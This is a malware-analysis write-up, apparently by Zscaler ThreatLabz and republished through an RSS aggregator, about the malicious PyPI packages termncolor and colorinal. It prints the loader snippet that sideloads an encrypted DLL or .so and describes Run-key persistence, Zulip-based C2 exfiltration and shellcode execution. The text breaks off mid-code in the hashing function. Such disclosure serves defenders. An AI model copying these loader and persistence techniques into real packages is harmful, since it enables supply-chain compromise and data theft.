

























While monitoring for threats, ThreatLabz identified a Python package named termncolor, which imports a secondary package, colorinal, via pip. This package was flagged during routine scans in our Python package database, as illustrated in the figure below.

Figure 1: Shows the termncolor package as it appears in the Zscaler package hunting database.
While termncolor functions as a color utility for Python without displaying any malicious behavior, the inclusion of its external dependency, colorinal, raises concerns. The figure below illustrates the potential attack chain connected to the PyPI package discovery.

Figure 2: The attack chain illustrates how termncolor could import colorinal, which would trigger unicode.py to deploy a malicious DLL via sideloading.
ThreatLabz uncovered a critical file named unicode.py while investigating the colorinal package, which is pivotal to the malware's operation. At first glance, unicode.py looks like a normal Python script designed for terminal color utilities. However, our analysis revealed a method, is_color_supported, which loads an embedded DLL called terminate.dll. This DLL deploys the malware's payload, kicking off the first stage of the attack. To avoid detection, the malware deletes both unicode.py and terminate.dll after execution.
In the code sample below, the Python class ctypes.CDLL(...) loads the terminate.dll file into memory, making its functions accessible to Python. The DLL's file path is derived from the directory of the current Python script using os.path.dirname(__file__). Once loaded, the termin instance allows Python to interface with the DLL. The function then calls the export function envir from the loaded DLL, passing a UTF-8-encoded string, xterminalunicode, which appears to query the terminal's capabilities. The result of this query determines whether the terminal supports color.
def is_color_supported():
try:
"Find out if your terminal environment supports color."
termin = ctypes.CDLL(os.path.dirname(__file__) + "/" + "terminate.dll")
envir = termin.envir("xterminalunicode".encode("utf-8"))The first stage of the malware operation is initiated by the execution of terminate.dll, as mentioned above. Below is a technical breakdown of the role terminate.dll plays in the attack.
A core function of terminate.dll is to decrypt its embedded payload using AES in CBC mode. It uses a UTF-8-encoded key, xterminalunicode, provided by a Python script. Once deciphered, the payload reveals the files necessary to proceed to the next stage of the attack.
The decrypted payload is stored in the target system’s %LOCALAPPDATA%\vcpacket directory, which serves as the staging area for the next-stage files. Here, terminate.dll drops two distinct executables: vcpktsvr.exe, a signed file that appears legitimate and is used for DLL sideloading, and libcef.dll, a malicious DLL responsible for executing the malware’s harmful activities.
To establish persistence, the malware creates a registry entry named pkt-update under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. This entry points to the file vcpktsvr.exe, which was dropped into the %LOCALAPPDATA%\vcpacket directory as mentioned above.
The malware also includes a variant tailored for Linux systems, broadening its scope beyond Windows environments. The file terminate.so, as shown in the code sample below, is a Shared Object file, a dynamically linked library commonly used in Unix-like operating systems. Similar to its Windows counterpart, this file is designed to execute the same functionality on Linux systems.
def is_color_supported():
try:
"Find out if your terminal environment supports color."
termin = ctypes.CDLL(os.path.dirname(__file__) + "/" + "terminate.so")
envir = termin.envir("xterminalunicode".encode("utf-8"))The second stage begins with the execution of libcef.dll, the primary malicious component dropped in the first stage. Unlike the legitimate vcpktsvr.exe, libcef.dll is specifically designed to communicate with the threat actor-controlled C2 server and gather crucial system information, such as the computer name, username, and operating system version.
The sample concatenates all the strings and formats the collected system information for transmission to the C2 server using HTTPS. The malware leverages the Zulip team messaging platform, disguising its activity by mimicking legitimate communication patterns, as shown in the figure below.

Figure 3: Shows the malware communicating with the Zulip chat platform.
The collected data is sent to the Zulip channel, after which the malware resolves APIs via a custom hashing method (explained in the section below) and executes shellcode received from the threat actor in a new thread.
The API hashing algorithm used by the threat actors appears to be a custom, lightweight hash function, likely designed for specific use cases such as obfuscating DLL or API names in low-level programming or malware. Its simplicity—relying on ASCII values, multiplication, and bitwise operations—makes it fast but potentially more prone to collisions compared to cryptographic hashes.
The Python code sample below shows the custom hashing algorithm.
def calculate_hash(name: str, case_sensitive: bool = False) -> int:
if not name:
return 12
hash_value = 12
string_to_hash = name
if not case_sensitive:
string_to_hash = name.upper()
current_char_value = ord(string_to_hash[0])
for i in range(1, len(string_to_hash) + 1):
temp_hash = current_char_value + 4 * hash_value
hash_value = (2 * temp_hash) & 0xFFFFFFFF
if i
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。